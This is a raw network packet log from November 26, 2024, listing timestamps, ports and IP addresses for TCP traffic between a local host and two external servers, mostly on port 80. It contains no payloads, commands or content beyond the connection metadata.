Nov 26, 2024 22:52:23.033417940 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.034461021 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.034506083 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.034543991 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.034590960 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.035674095 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.035723925 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.035789013 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.035835028 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.036885977 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.036940098 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.036956072 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.037000895 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.038038969 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.038090944 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.038220882 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.038266897 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.039259911 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.039318085 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.039421082 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.039469004 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.040461063 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.040513039 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.040602922 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.040654898 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.041646004 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.041696072 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.041745901 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.041796923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.042840958 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.042891026 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.042998075 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.043045998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.044039011 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.044090033 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.044205904 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.044255018 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.045213938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.045264006 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.045315981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.045366049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.046451092 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.046502113 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.046619892 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.046672106 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.047621965 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.047677040 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.047728062 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.047775030 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.048794031 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.048846006 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.069570065 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.069650888 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.069658041 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.069698095 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.070069075 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.070113897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.070122957 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.070152044 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.071192980 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.071247101 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.071301937 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.071347952 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.072426081 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.072480917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.072499037 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.072547913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.073585987 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.073642969 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.073689938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.073741913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.074798107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.074851990 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.074879885 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.074930906 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.075974941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.076028109 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.076030970 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.076080084 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.102329969 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.102790117 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.102809906 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.103281975 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.103286982 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.167278051 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.167359114 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.167453051 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.167505026 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.167795897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.167846918 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.168044090 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.168098927 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.168134928 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.168186903 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.169301987 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.169351101 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.169367075 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.169409037 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.170464039 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.170516014 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.170535088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.170578957 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.171660900 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.171722889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.171756029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.171802998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.172822952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.172885895 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.172960043 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.173012972 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.174102068 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.174159050 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.174213886 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.174263954 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.175293922 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.175344944 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.175370932 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.175415993 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.176497936 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.176551104 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.176553011 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.176590919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.177642107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.177686930 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.177719116 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.177758932 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.178879976 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.178939104 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.179074049 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.179124117 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.180030107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.180103064 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.180131912 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.180186033 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.181240082 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.181288958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.181327105 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.181379080 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.182476997 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.182528019 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.182540894 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.182588100 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.183635950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.183682919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.183753967 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.183793068 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.184849024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.184895039 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.184961081 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.185003996 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.186038971 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.186084986 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.186146021 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.186192989 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.187212944 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.187261105 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.187293053 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.187342882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.188446999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.188498974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.188532114 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.188581944 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.189605951 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.189656019 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.189707041 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.189755917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.190857887 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.190908909 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.190936089 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.190980911 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.192048073 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.192100048 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.192157030 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.192210913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.193459988 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.193515062 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.193545103 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.193591118 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.194416046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.194472075 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.194519043 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.194567919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.194664001 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.195193052 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.195226908 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.195633888 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.195656061 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.195667982 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.195683002 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.195758104 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.195804119 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.197019100 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.197067976 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.197129965 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.197179079 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.198009014 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.198065996 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.236211061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.236305952 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.236310959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.236390114 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.236764908 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.236819983 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.237327099 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.237377882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.237982035 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.238030910 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.238115072 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.238164902 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.239157915 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.239208937 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.239280939 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.239332914 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.240370035 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.240417957 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.240463972 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.240510941 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.241609097 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.241651058 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.241658926 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.241695881 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.242769003 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.242819071 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.242868900 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.242913961 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.243952990 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.244020939 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.244055986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.244102001 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.245145082 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.245198011 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.245254040 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.245301008 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.246349096 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.246407986 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.246444941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.246490002 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.247545958 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.247595072 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.247668028 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.247714043 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.248747110 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.248795986 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.248873949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.248923063 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.249969959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.250020027 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.250087976 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.250133038 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.251142025 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.251192093 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.251252890 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.251301050 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.252418995 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.252469063 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.252485037 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.252537012 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.253546953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.253599882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.253633022 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.253681898 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.254786968 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.254837036 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.254847050 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.254895926 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.255954981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.256006956 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.256035089 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.256083012 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.257167101 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.257217884 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.257251024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.257298946 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.258330107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.258382082 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.258404016 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.258466959 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.280658007 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.280781031 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.280808926 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.280822992 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.281172037 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.281219959 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.281368017 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.281419992 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.281471014 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.281518936 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.282668114 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.282720089 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.282748938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.282797098 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.283793926 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.283844948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.283895016 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.283943892 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.285041094 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.285111904 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.285135984 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.285181999 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.286192894 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.286245108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.286268950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.286318064 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.287384033 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.287436008 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.377789974 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.377906084 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.378020048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.378073931 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.378355026 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.378406048 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.378432989 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.378482103 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.379564047 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.379611015 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.379647017 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.379694939 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.380749941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.380810022 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.380846977 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.380920887 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.381992102 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.382040977 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.382065058 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.382106066 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.383147955 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.383198023 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.383249998 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.383296013 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.384350061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.384402990 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.384434938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.384471893 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.385550976 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.385607958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.385638952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.385684967 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.386749983 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.386800051 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.386857986 CET	80	49712	185.215.113.206	192.168.2.7
